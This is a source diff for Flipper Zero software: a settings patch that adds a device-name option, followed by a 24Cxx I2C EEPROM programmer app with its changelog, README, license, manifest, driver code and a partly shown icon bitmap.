furi_string_printf(error, "Letters and\nnumbers only!");
return false;
}
}
return true;
}
static void system_settings_device_name_callback(void* context) {
SystemSettings* app = context;
// Save name to SD card (same path as namechanger service)
FlipperFormat* file = flipper_format_file_alloc(app->storage);
bool saved = false;
do {
if(app->device_name[0] == '\0') {
// Empty name -> remove file to restore real name
storage_simply_remove(app->storage, NAMECHANGER_PATH);
saved = true;
break;
}
if(!flipper_format_file_open_always(file, NAMECHANGER_PATH)) break;
if(!flipper_format_write_header_cstr(file, NAMECHANGER_HEADER, NAMECHANGER_VERSION)) break;
if(!flipper_format_write_string_cstr(file, "Name", app->device_name)) break;
saved = true;
} while(false);
flipper_format_free(file);
if(saved) {
// Reboot to apply
Power* power = furi_record_open(RECORD_POWER);
power_reboot(power, PowerBootModeNormal);
} else {
// Go back silently on failure
view_dispatcher_switch_to_view(app->view_dispatcher, SystemSettingsViewVarItemList);
}
}
static void system_settings_enter_callback(void* context, uint32_t index) {
SystemSettings* app = context;
if(index == DEVICE_NAME_ITEM_INDEX) {
text_input_reset(app->text_input);
text_input_set_header_text(app->text_input, "Device Name (empty=reset)");
text_input_set_validator(
app->text_input, system_settings_device_name_validator, NULL);
text_input_set_minimum_length(app->text_input, 0);
text_input_set_result_callback(
app->text_input,
system_settings_device_name_callback,
app,
app->device_name,
FURI_HAL_VERSION_ARRAY_NAME_LENGTH,
false);
view_dispatcher_switch_to_view(app->view_dispatcher, SystemSettingsViewTextInput);
}
}
static uint32_t system_settings_text_input_back(void* context) {
UNUSED(context);
return SystemSettingsViewVarItemList;
}
// -------------------------------------------------------------------------
static uint32_t system_settings_exit(void* context) {
UNUSED(context);
return VIEW_NONE;
@@ -218,6 +296,7 @@ SystemSettings* system_settings_alloc(void) {
// Load settings
app->gui = furi_record_open(RECORD_GUI);
app->storage = furi_record_open(RECORD_STORAGE);
app->view_dispatcher = view_dispatcher_alloc();
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
@@ -314,6 +393,19 @@ SystemSettings* system_settings_alloc(void) {
variable_item_set_current_value_index(item, value_index);
variable_item_set_current_value_text(item, filename_scheme[value_index]);
// Device Name (index = DEVICE_NAME_ITEM_INDEX = 11)
const char* current_name = furi_hal_version_get_name_ptr();
strlcpy(
app->device_name,
current_name ? current_name : "",
FURI_HAL_VERSION_ARRAY_NAME_LENGTH);
item = variable_item_list_add(app->var_item_list, "Device Name", 0, NULL, app);
variable_item_set_current_value_text(
item, app->device_name[0] != '\0' ? app->device_name : "<default>");
variable_item_list_set_enter_callback(
app->var_item_list, system_settings_enter_callback, app);
view_set_previous_callback(
variable_item_list_get_view(app->var_item_list), system_settings_exit);
view_dispatcher_add_view(
@@ -321,6 +413,15 @@ SystemSettings* system_settings_alloc(void) {
SystemSettingsViewVarItemList,
variable_item_list_get_view(app->var_item_list));
// TextInput for device name
app->text_input = text_input_alloc();
view_set_previous_callback(
text_input_get_view(app->text_input), system_settings_text_input_back);
view_dispatcher_add_view(
app->view_dispatcher,
SystemSettingsViewTextInput,
text_input_get_view(app->text_input));
view_dispatcher_switch_to_view(app->view_dispatcher, SystemSettingsViewVarItemList);
return app;
@@ -328,12 +429,16 @@ SystemSettings* system_settings_alloc(void) {
void system_settings_free(SystemSettings* app) {
furi_assert(app);
// TextInput
view_dispatcher_remove_view(app->view_dispatcher, SystemSettingsViewTextInput);
text_input_free(app->text_input);
// Variable item list
view_dispatcher_remove_view(app->view_dispatcher, SystemSettingsViewVarItemList);
variable_item_list_free(app->var_item_list);
// View dispatcher
view_dispatcher_free(app->view_dispatcher);
// Records
furi_record_close(RECORD_STORAGE);
furi_record_close(RECORD_GUI);
free(app);
}
@@ -2,17 +2,24 @@
#include <furi.h>
#include <furi_hal.h>
#include <furi_hal_version.h>
#include <gui/gui.h>
#include <gui/view_dispatcher.h>
#include <gui/modules/variable_item_list.h>
#include <gui/modules/text_input.h>
#include <storage/storage.h>
typedef struct {
Gui* gui;
ViewDispatcher* view_dispatcher;
VariableItemList* var_item_list;
TextInput* text_input;
Storage* storage;
char device_name[FURI_HAL_VERSION_ARRAY_NAME_LENGTH];
} SystemSettings;
typedef enum {
SystemSettingsViewVarItemList,
SystemSettingsViewTextInput,
} SystemSettingsView;
+106
View File
@@ -0,0 +1,106 @@
# Changelog
All notable changes to the 24cxxprog EEPROM Programmer application will be documented in this file.
## [2.0.0] - 2026-03-11
### 🚀 Major Features Added
#### Dynamic Memory Support for All 24Cxx Chips
- **Full chip type support**: Added complete support for all EEPROM sizes from 24C01 (128B) to 24C512 (64KB)
- **Dynamic buffer allocation**: Memory buffers now automatically resize based on selected chip type
- **Configurable in Settings**: Users can now select chip type in Settings menu, and all operations adapt automatically
### ✨ Enhancements
#### Memory Management
- Replaced fixed 256-byte buffers with dynamic allocation:
- `memory_data` - dynamically allocated based on chip size
- `file_data` - dynamically allocated based on chip size
- `verify_buffer` - dynamically allocated based on chip size
- Added `get_eeprom_size()` helper function returning size in bytes for each chip type
- Added `reallocate_buffers()` function for automatic buffer reallocation on chip type change
- Memory size tracked in `memory_size` field (32-bit for chips up to 64KB)
#### Read/Write/Erase Operations
- **Read operation**: Now reads entire EEPROM regardless of size (128B to 64KB)
- **Write operation**: Supports writing to full address range of selected chip
- **Erase operation**: Clears entire memory of selected chip type
- **File operations**: Binary dumps now save/load full chip capacity
#### User Interface Improvements
- Address display format adapts to memory size:
- Small chips (≤256B): `0x00` format
- Large chips (>256B): `0000` hex format (4 digits)
- Progress indicators updated for all memory sizes
- Navigation (Up/Down) works across entire address range
- File size display shows actual chip capacity
#### File Naming
- Filename generation now includes all chip types:
- Examples: `24C01_2026-03-11_10-30.bin`, `24C256_2026-03-11_10-30.bin`
- Automatic timestamp-based naming for all chip variants
### 🔧 Technical Changes
#### Type Updates
- Changed address/size types from `uint8_t` to `uint32_t` for large memory support:
- `current_address`: now `uint32_t`
- `read_total_bytes`: now `uint32_t`
- `write_total_bytes_async`: now `uint32_t`
- `verify_total_bytes`: now `uint32_t`
- `erase_current_addr`: now `uint32_t`
- `progress_value`: now `uint32_t`
- `file_size`: now `uint32_t`
#### Format Specifiers
- Updated all `printf`/`snprintf` calls to use correct format for `uint32_t`:
- Changed `%d` to `%lu` for unsigned long
- Changed `%X` to `%lX` for hex unsigned long
#### Memory Safety
- Added proper memory initialization in `reallocate_buffers()`
- Added null pointer checks for all dynamically allocated buffers
- Proper cleanup in `eeprom_app_free()` - all buffers freed correctly
### 🐛 Bug Fixes
- Fixed buffer overflow risk in memory operations for larger chips
- Fixed format specifier warnings causing compilation errors
- Fixed address boundary checking for chips larger than 256 bytes
- Fixed progress bar calculations for larger memory sizes
### 🔄 Behavioral Changes
- Settings → Chip Type now immediately reallocates buffers
- Current address is reset to 0 if it exceeds new chip size after type change
- File load operation respects maximum chip capacity (won't load more than chip can hold)
### 📋 Supported Chip Types
Complete support matrix:
| Chip Type | Size | Status |
|-----------|------|--------|
| 24C01 | 128 bytes | ✅ Full Support |
| 24C02 | 256 bytes | ✅ Full Support |
| 24C04 | 512 bytes | ✅ Full Support |
| 24C08 | 1 KB | ✅ Full Support |
| 24C16 | 2 KB | ✅ Full Support |
| 24C32 | 4 KB | ✅ Full Support |
| 24C64 | 8 KB | ✅ Full Support |
| 24C128 | 16 KB | ✅ Full Support |
| 24C256 | 32 KB | ✅ Full Support |
| 24C512 | 64 KB | ✅ Full Support |
### ⚠️ Breaking Changes
- Binary dump files from previous versions (always 256 bytes) are incompatible with chip-specific sizes
- Users should re-read and save new dumps after upgrading
---
## [1.0.0] - Previous Version
### Initial Release
- Basic read/write/erase operations
- Fixed 256-byte buffer (24C02 only)
- I2C address configuration
- File load/save operations
- Basic hex viewer
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2026 Dr.Mosfet
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+222
View File
@@ -0,0 +1,222 @@
# 🔧 24cxxprog - EEPROM 24Cxx Programmer
<h2 align="center">A Comprehensive EEPROM Programmer for Flipper Zero</h2>
<div align="center">
<table style="width:100%; border:none;">
<tr style="border:none;">
<td style="border:none; padding:10px;">
<img src="screenshots/1.png" alt="Main Menu - Operations" style="width:100%;">
<br>
<em>Menu główne z operacjami (Odczyt, Zapis, Kasowanie)</em>
</td>
<td style="border:none; padding:10px;">
<img src="screenshots/2.png" alt="Configuration Menu" style="width:100%;">
<br>
<em>Menu konfiguracji (Adres I2C, Rozmiar pamięci)</em>
</td>
<td style="border:none; padding:10px;">
<img src="screenshots/3.png" alt="Data Display - EEPROM Contents" style="width:100%;">
<br>
<em>Wyświetlanie zawartości EEPROM (Dane heksadecymalne)</em>
</td>
</tr>
</table>
</div>
---
This is a **comprehensive EEPROM programmer application** designed for the **Flipper Zero** that interfaces with the **24Cxx series I2C memory chips**. The application provides a complete suite of tools for reading, writing, erasing, and managing EEPROM memory with a user-friendly interface on the Flipper's screen.
## ✨ Features Overview
### 📝 EEPROM Operations
Complete toolset for memory management:
* **Read Operations:** View complete EEPROM contents with address and hexadecimal data display.
* **Write Operations:** Program custom data into specific memory addresses.
* **Erase Functions:** Clear individual bytes, pages, or entire memory sections.
* **Dump to Storage:** Export EEPROM contents to Flipper SD card for backup and analysis.
* **Restore from Backup:** Load previously saved EEPROM data back into the chip.
### 🎨 User Interface & Experience
Intuitive interface optimized for Flipper Zero's display:
* **Main Menu:** Clear operation selection with visual feedback.
* **Data Viewer:** Scrollable hex display showing actual EEPROM contents.
* **Configuration Menu:** Easy access to sensor parameters and device settings.
* **Address Navigation:** Precise control over memory location selection.
* **Progress Indicator:** Real-time feedback during long operations.
### ⚙️ Configuration Options
Customize the programmer for your specific hardware:
* **I2C Address Selection:** Choose between multiple I2C addresses (**0x50-0x57**) for different chip variants.
* **Memory Size Selection:** Automatically detect or manually set chip capacity (**1KB to 64KB** and larger).
* **Page Size Configuration:** Adapt to different chip architectures (**8 bytes to 256 bytes per page**).
* **Persistent Settings:** Configurations are automatically saved for quick access.
### 💻 Technical Features & Robustness
Built for reliability on the Flipper Zero platform:
* **I2C Protocol Support:** Robust communication with error checking.
* **Address Validation:** Prevents out-of-bounds memory access.
* **Timeout Protection:** Safeguards against communication errors.
* **Error Handling:** Comprehensive error messages for troubleshooting.
* **Non-blocking Operations:** Responsive UI that doesn't freeze during I2C transactions.
* **Data Verification:** Verify written data integrity after programming.
## 🔋 Supported 24Cxx Chips
Comprehensive support for the entire 24Cxx family:
<table style="width:100%; border:1px solid #ddd; border-collapse: collapse; text-align: left;">
<thead style="background-color: #f8f8f8;">
<tr>
<th style="padding: 8px; border:1px solid #ddd;">Chip Model</th>
<th style="padding: 8px; border:1px solid #ddd;">Memory Size</th>
<th style="padding: 8px; border:1px solid #ddd;">Page Size</th>
<th style="padding: 8px; border:1px solid #ddd;">Address Range</th>
</tr>
</thead>
<tbody>
<tr>
<td style="padding: 8px; border:1px solid #ddd;"><strong>24C01</strong></td>
<td style="padding: 8px; border:1px solid #ddd;">128 Bytes</td>
<td style="padding: 8px; border:1px solid #ddd;">8 Bytes</td>
<td style="padding: 8px; border:1px solid #ddd;">0x00 - 0x7F</td>
</tr>
<tr>
<td style="padding: 8px; border:1px solid #ddd;"><strong>24C02</strong></td>
<td style="padding: 8px; border:1px solid #ddd;">256 Bytes</td>
<td style="padding: 8px; border:1px solid #ddd;">8 Bytes</td>
<td style="padding: 8px; border:1px solid #ddd;">0x00 - 0xFF</td>
</tr>
<tr>
<td style="padding: 8px; border:1px solid #ddd;"><strong>24C04 - 24C16</strong></td>
<td style="padding: 8px; border:1px solid #ddd;">512B - 2KB</td>
<td style="padding: 8px; border:1px solid #ddd;">16 Bytes</td>
<td style="padding: 8px; border:1px solid #ddd;">0x00 - 0xFFFF</td>
</tr>
<tr>
<td style="padding: 8px; border:1px solid #ddd;"><strong>24C32 - 24C64</strong></td>
<td style="padding: 8px; border:1px solid #ddd;">4KB - 8KB</td>
<td style="padding: 8px; border:1px solid #ddd;">32 Bytes</td>
<td style="padding: 8px; border:1px solid #ddd;">0x0000 - 0x1FFF</td>
</tr>
<tr>
<td style="padding: 8px; border:1px solid #ddd;"><strong>24C128 - 24C512</strong></td>
<td style="padding: 8px; border:1px solid #ddd;">16KB - 64KB</td>
<td style="padding: 8px; border:1px solid #ddd;">64 Bytes</td>
<td style="padding: 8px; border:1px solid #ddd;">0x0000 - 0xFFFF</td>
</tr>
</tbody>
</table>
---
## 🕹️ Navigation Guide
<table style="width:100%; border:1px solid #ddd; border-collapse: collapse; text-align: left;">
<thead style="background-color: #f8f8f8;">
<tr>
<th style="padding: 8px; border:1px solid #ddd;">Screen</th>
<th style="padding: 8px; border:1px solid #ddd;">D-Pad Up/Down</th>
<th style="padding: 8px; border:1px solid #ddd;">D-Pad Left/Right</th>
<th style="padding: 8px; border:1px solid #ddd;">OK Button</th>
<th style="padding: 8px; border:1px solid #ddd;">Back Button</th>
</tr>
</thead>
<tbody>
<tr>
<td style="padding: 8px; border:1px solid #ddd;"><strong>Main Menu</strong></td>
<td style="padding: 8px; border:1px solid #ddd;">Browse operations (Read, Write, Erase, Dump, Restore)</td>
<td style="padding: 8px; border:1px solid #ddd;">-</td>
<td style="padding: 8px; border:1px solid #ddd;">Select operation</td>
<td style="padding: 8px; border:1px solid #ddd;"><strong>Exit</strong> application</td>
</tr>
<tr>
<td style="padding: 8px; border:1px solid #ddd;"><strong>Read/Write</strong></td>
<td style="padding: 8px; border:1px solid #ddd;">Navigate through addresses</td>
<td style="padding: 8px; border:1px solid #ddd;">Adjust byte values (Write mode)</td>
<td style="padding: 8px; border:1px solid #ddd;">Confirm operation</td>
<td style="padding: 8px; border:1px solid #ddd;">Return to Main Menu</td>
</tr>
<tr>
<td style="padding: 8px; border:1px solid #ddd;"><strong>Configuration</strong></td>
<td style="padding: 8px; border:1px solid #ddd;">Navigate between settings</td>
<td style="padding: 8px; border:1px solid #ddd;">Adjust parameter values</td>
<td style="padding: 8px; border:1px solid #ddd;">Apply settings</td>
<td style="padding: 8px; border:1px solid #ddd;">Cancel and return</td>
</tr>
<tr>
<td style="padding: 8px; border:1px solid #ddd;"><strong>Data View</strong></td>
<td style="padding: 8px; border:1px solid #ddd;">Scroll data up/down</td>
<td style="padding: 8px; border:1px solid #ddd;">Jump to address</td>
<td style="padding: 8px; border:1px solid #ddd;">Show hex/ASCII toggle</td>
<td style="padding: 8px; border:1px solid #ddd;">Exit data view</td>
</tr>
</tbody>
</table>
## 🔌 Hardware Connections
Standard I2C pinout for Flipper Zero GPIO:
```
24Cxx EEPROM Module Flipper Zero GPIO
───────────────── ─────────────────
SDA (Pin 5) ───→ GPIO_SDA (Pin 16)
SCL (Pin 6) ───→ GPIO_SCL (Pin 15)
GND (Pin 4) ───→ GND (Pin 8)
VCC (Pin 8) ───→ 3.3V (Pin 9)
Optional Pull-ups: 4.7kΩ from SDA and SCL to 3.3V
```
## 📋 Operation Details
### Read
- Displays EEPROM contents in hexadecimal format
- Shows address, data bytes, and ASCII representation
- Scrollable for chips larger than display capacity
### Write
- Enter target address and data values
- Supports single byte or page programming
- Automatic write cycle delay handling
### Erase
- Clear individual bytes to 0xFF
- Erase entire pages
- Full chip erase with confirmation
### Dump
- Export EEPROM to **`/ext/apps_data/24cxxprog/`** directory
- Creates timestamped backup files
- Preserves complete memory state
### Restore
- Load previously dumped EEPROM data
- Verify before writing
- Restore to specified starting address
---
## 👨‍💻 Developer
This application was created by **Dr. Mosfet** for the Flipper Zero community.
**Repository:** [kamylwnb/24cxxprog](https://github.com/kamylwnb/24cxxprog)
**Version:** 1.0
**Category:** GPIO / Tools
**Platform:** Flipper Zero F7
---
**Happy EEPROM programming! 🔧**
@@ -0,0 +1,22 @@
App(
appid="24cxxprog",
name="24Cxx Programmer",
apptype=FlipperAppType.EXTERNAL,
entry_point="eeprom_app_24cxx",
cdefines=["APP_24CXXPROG"],
requires=[
"gui",
"i2c",
],
sources=[
"i2c_24c02_app.cpp",
"i2c_24c02.cpp",
],
stack_size=2 * 1024,
order=21,
fap_icon="icons/ikon.png",
fap_category="GPIO",
fap_author="@Dr.Mosfet",
fap_version="2.0",
fap_description="EEPROM 24Cxx programmer via I2C with read, write, erase and dump/restore options.",
)
+212
View File
@@ -0,0 +1,212 @@
#include "i2c_24c02.hpp"
#include "furi_hal_i2c.h"
#include <furi.h>
EEPROM24C02::EEPROM24C02(uint8_t i2c_address_7bit)
: _i2c_addr_8bit(i2c_address_7bit << 1) {
}
bool EEPROM24C02::init() {
// Just check if device is responding
return isAvailable();
}
bool EEPROM24C02::isAvailable() {
furi_hal_i2c_acquire(&furi_hal_i2c_handle_external);
// Try to read a dummy byte to check if device responds
uint8_t dummy_data;
bool success = furi_hal_i2c_rx(
&furi_hal_i2c_handle_external, _i2c_addr_8bit, &dummy_data, 1, EEPROM_I2C_TIMEOUT);
furi_hal_i2c_release(&furi_hal_i2c_handle_external);
return success;
}
bool EEPROM24C02::readByte(uint8_t memory_addr, uint8_t& data) {
furi_hal_i2c_acquire(&furi_hal_i2c_handle_external);
// Send memory address first
bool success_tx = furi_hal_i2c_tx_ext(
&furi_hal_i2c_handle_external,
_i2c_addr_8bit,
false,
&memory_addr,
1,
FuriHalI2cBeginStart,
FuriHalI2cEndAwaitRestart,
EEPROM_I2C_TIMEOUT);
// Read the data
bool success_rx = false;
if(success_tx) {
success_rx = furi_hal_i2c_rx_ext(
&furi_hal_i2c_handle_external,
_i2c_addr_8bit,
false,
&data,
1,
FuriHalI2cBeginRestart,
FuriHalI2cEndStop,
EEPROM_I2C_TIMEOUT);
}
furi_hal_i2c_release(&furi_hal_i2c_handle_external);
return success_tx && success_rx;
}
bool EEPROM24C02::writeByte(uint8_t memory_addr, uint8_t data) {
uint8_t write_buffer[2];
write_buffer[0] = memory_addr;
write_buffer[1] = data;
furi_hal_i2c_acquire(&furi_hal_i2c_handle_external);
bool success = furi_hal_i2c_tx_ext(
&furi_hal_i2c_handle_external,
_i2c_addr_8bit,
false,
write_buffer,
2,
FuriHalI2cBeginStart,
FuriHalI2cEndStop,
EEPROM_I2C_TIMEOUT);
furi_hal_i2c_release(&furi_hal_i2c_handle_external);
if(success) {
// Wait for write cycle to complete (typically 5ms for 24C02)
furi_delay_ms(10);
}
return success;
}
bool EEPROM24C02::readBytes(uint8_t start_addr, uint8_t* buffer, uint8_t length) {
if(length == 0 || buffer == nullptr) return false;
furi_hal_i2c_acquire(&furi_hal_i2c_handle_external);
// Send start address
bool success_tx = furi_hal_i2c_tx_ext(
&furi_hal_i2c_handle_external,
_i2c_addr_8bit,
false,
&start_addr,
1,
FuriHalI2cBeginStart,
FuriHalI2cEndAwaitRestart,
EEPROM_I2C_TIMEOUT);
// Sequential read
bool success_rx = false;
if(success_tx) {
success_rx = furi_hal_i2c_rx_ext(
&furi_hal_i2c_handle_external,
_i2c_addr_8bit,
false,
buffer,
length,
FuriHalI2cBeginRestart,
FuriHalI2cEndStop,
EEPROM_I2C_TIMEOUT);
}
furi_hal_i2c_release(&furi_hal_i2c_handle_external);
return success_tx && success_rx;
}
bool EEPROM24C02::writeBytes(uint8_t start_addr, const uint8_t* buffer, uint8_t length) {
if(length == 0 || buffer == nullptr) return false;
// 24C02 has 8-byte page size - we need to handle page boundaries
uint8_t bytes_written = 0;
while(bytes_written < length) {
uint8_t current_addr = start_addr + bytes_written;
uint8_t page_offset = current_addr % EEPROM_24C02_PAGE_SIZE;
uint8_t bytes_in_page = EEPROM_24C02_PAGE_SIZE - page_offset;
uint8_t bytes_to_write =
(length - bytes_written < bytes_in_page) ? (length - bytes_written) : bytes_in_page;
// Prepare write buffer for this page
uint8_t write_buffer[EEPROM_24C02_PAGE_SIZE + 1]; // +1 for address
write_buffer[0] = start_addr + bytes_written;
for(uint8_t i = 0; i < bytes_to_write; i++) {
write_buffer[i + 1] = buffer[bytes_written + i];
}
furi_hal_i2c_acquire(&furi_hal_i2c_handle_external);
bool success = furi_hal_i2c_tx_ext(
&furi_hal_i2c_handle_external,
_i2c_addr_8bit,
false,
write_buffer,
bytes_to_write + 1,
FuriHalI2cBeginStart,
FuriHalI2cEndStop,
EEPROM_I2C_TIMEOUT);
furi_hal_i2c_release(&furi_hal_i2c_handle_external);
if(!success) {
return false;
}
// Wait for write cycle to complete
furi_delay_ms(10);
bytes_written += bytes_to_write;
}
return true;
}
bool EEPROM24C02::eraseAll() {
// Fill entire memory with 0xFF
uint8_t erase_buffer[EEPROM_24C02_PAGE_SIZE];
for(uint8_t i = 0; i < EEPROM_24C02_PAGE_SIZE; i++) {
erase_buffer[i] = 0xFF;
}
// Erase page by page
for(uint8_t page = 0; page < EEPROM_24C02_SIZE / EEPROM_24C02_PAGE_SIZE; page++) {
uint8_t start_addr = page * EEPROM_24C02_PAGE_SIZE;
if(!writeBytes(start_addr, erase_buffer, EEPROM_24C02_PAGE_SIZE)) {
return false;
}
}
return true;
}
bool EEPROM24C02::eraseRange(uint8_t start_addr, uint8_t length) {
if(length == 0) return false;
// Check if range goes beyond memory
uint16_t end_addr = (uint16_t)start_addr + length;
if(end_addr > EEPROM_24C02_SIZE) {
length = EEPROM_24C02_SIZE - start_addr;
}
// Fill range with 0xFF
uint8_t erase_buffer[EEPROM_24C02_PAGE_SIZE];
for(uint8_t i = 0; i < EEPROM_24C02_PAGE_SIZE; i++) {
erase_buffer[i] = 0xFF;
}
return writeBytes(start_addr, erase_buffer, length);
}
void EEPROM24C02::setAddress(uint8_t i2c_address_7bit) {
_i2c_addr_8bit = i2c_address_7bit << 1;
}
uint8_t EEPROM24C02::getAddress() {
return _i2c_addr_8bit >> 1;
}
@@ -0,0 +1,54 @@
#pragma once
#include <stdint.h>
#include <stdbool.h>
// 24C02 EEPROM I2C addresses (7-bit)
// Standard addresses: 0x50-0x57 (A0-A2 pins)
#define EEPROM_24C02_BASE_ADDR 0x50
#define EEPROM_24C02_MAX_ADDR 0x57
// Memory size for 24C02
#define EEPROM_24C02_SIZE 256 // 2KB = 2048 bits = 256 bytes
#define EEPROM_24C02_PAGE_SIZE 8 // Page write size
// I2C operation timeout
#define EEPROM_I2C_TIMEOUT 100
class EEPROM24C02 {
private:
uint8_t _i2c_addr_8bit;
public:
EEPROM24C02(uint8_t i2c_address_7bit);
// Initialize communication with EEPROM
bool init();
// Read single byte from address
bool readByte(uint8_t memory_addr, uint8_t& data);
// Write single byte to address
bool writeByte(uint8_t memory_addr, uint8_t data);
// Read multiple bytes (sequential read)
bool readBytes(uint8_t start_addr, uint8_t* buffer, uint8_t length);
// Write multiple bytes (page write)
bool writeBytes(uint8_t start_addr, const uint8_t* buffer, uint8_t length);
// Erase entire memory (fill with 0xFF)
bool eraseAll();
// Erase range of bytes
bool eraseRange(uint8_t start_addr, uint8_t length);
// Check if EEPROM is responding
bool isAvailable();
// Set I2C address
void setAddress(uint8_t i2c_address_7bit);
// Get current I2C address
uint8_t getAddress();
};
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,81 @@
#pragma once
#include <gui/canvas.h>
static const uint8_t image_DolphinMafia_0_bits[] = {
0x00, 0x00, 0x00, 0x00, 0xf0, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x0e, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xe0, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xfe, 0x7f, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x55,
0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xae, 0xaa, 0x00,
0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x55, 0x55, 0x15, 0x00,
0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xaa, 0x2a, 0x00, 0x00, 0x04,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x55, 0x55, 0x55, 0x00, 0x08, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0xaa, 0x2a, 0x00, 0x00, 0x08, 0xff, 0x3f,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x55, 0x55, 0x55, 0x00, 0xf8, 0x00, 0xc0, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0xaa, 0x2a, 0x00, 0x00, 0x10, 0x00, 0x00, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x55, 0x55, 0x55, 0x00, 0x10, 0x00, 0x00, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xa0, 0xaa, 0x2a, 0x00, 0x00, 0x20, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x60, 0xd5, 0xff, 0xff, 0x3f, 0x20, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xa0, 0xfa, 0xff, 0xff, 0xff, 0xff, 0x03, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x60, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xe0, 0xff, 0xff, 0xbf, 0xaa, 0xaa, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0,
0xff, 0xff, 0x57, 0x55, 0x55, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0xff,
0xff, 0xaa, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0x5f,
0x15, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xff, 0xff, 0xaf, 0x02,
0xf8, 0x0f, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xff, 0xff, 0x55, 0x01, 0xff,
0x1f, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0xff, 0xff, 0x2a, 0xc0, 0x0f, 0xf8,
0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0xff, 0x5f, 0x15, 0xf0, 0x0f, 0xf8, 0x0f,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0xf8, 0xff, 0xaf, 0x02, 0xf8, 0x0f, 0x1c, 0x0e, 0x1f,
0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0xfc, 0xff, 0x57, 0x15, 0xf8, 0x1f, 0x1e, 0xfe, 0x60, 0x00,
0x00, 0x00, 0xd6, 0x00, 0x50, 0xfe, 0xff, 0xab, 0xff, 0xff, 0xff, 0x0f, 0x0f, 0x80, 0x00, 0x00,
0x80, 0x01, 0xc8, 0x4e, 0xfe, 0xff, 0xf5, 0x17, 0xf0, 0xff, 0xcf, 0x00, 0x00, 0x01, 0x00, 0x40,
0x00, 0x00, 0x20, 0xff, 0xff, 0xfb, 0x00, 0xe0, 0xff, 0x07, 0x00, 0x60, 0x01, 0x00, 0x20, 0x00,
0x00, 0x18, 0xff, 0xff, 0x5d, 0x05, 0xc0, 0xff, 0x03, 0x00, 0x70, 0xe1, 0x07, 0xa0, 0xa3, 0xb0,
0x06, 0xff, 0xff, 0xaa, 0x00, 0x80, 0xff, 0x01, 0x00, 0xfc, 0x01, 0x00, 0x60, 0x00, 0x00, 0x00,
0xff, 0xff, 0x5d, 0x05, 0xc0, 0x7f, 0x00, 0x00, 0xb3, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0xfe,
0xff, 0xae, 0x00, 0x20, 0x60, 0x00, 0xc0, 0x80, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x00, 0xfc, 0x9f,
0x55, 0x05, 0x10, 0x40, 0x00, 0x30, 0x80, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00, 0x00, 0x80, 0xaa,
0x00, 0x10, 0x00, 0x00, 0x0c, 0x80, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x80, 0x55, 0x05,
0x00, 0x00, 0x00, 0x03, 0x40, 0x00, 0x80, 0x10, 0x00, 0x00, 0x00, 0x00, 0x80, 0xaa, 0x00, 0x00,
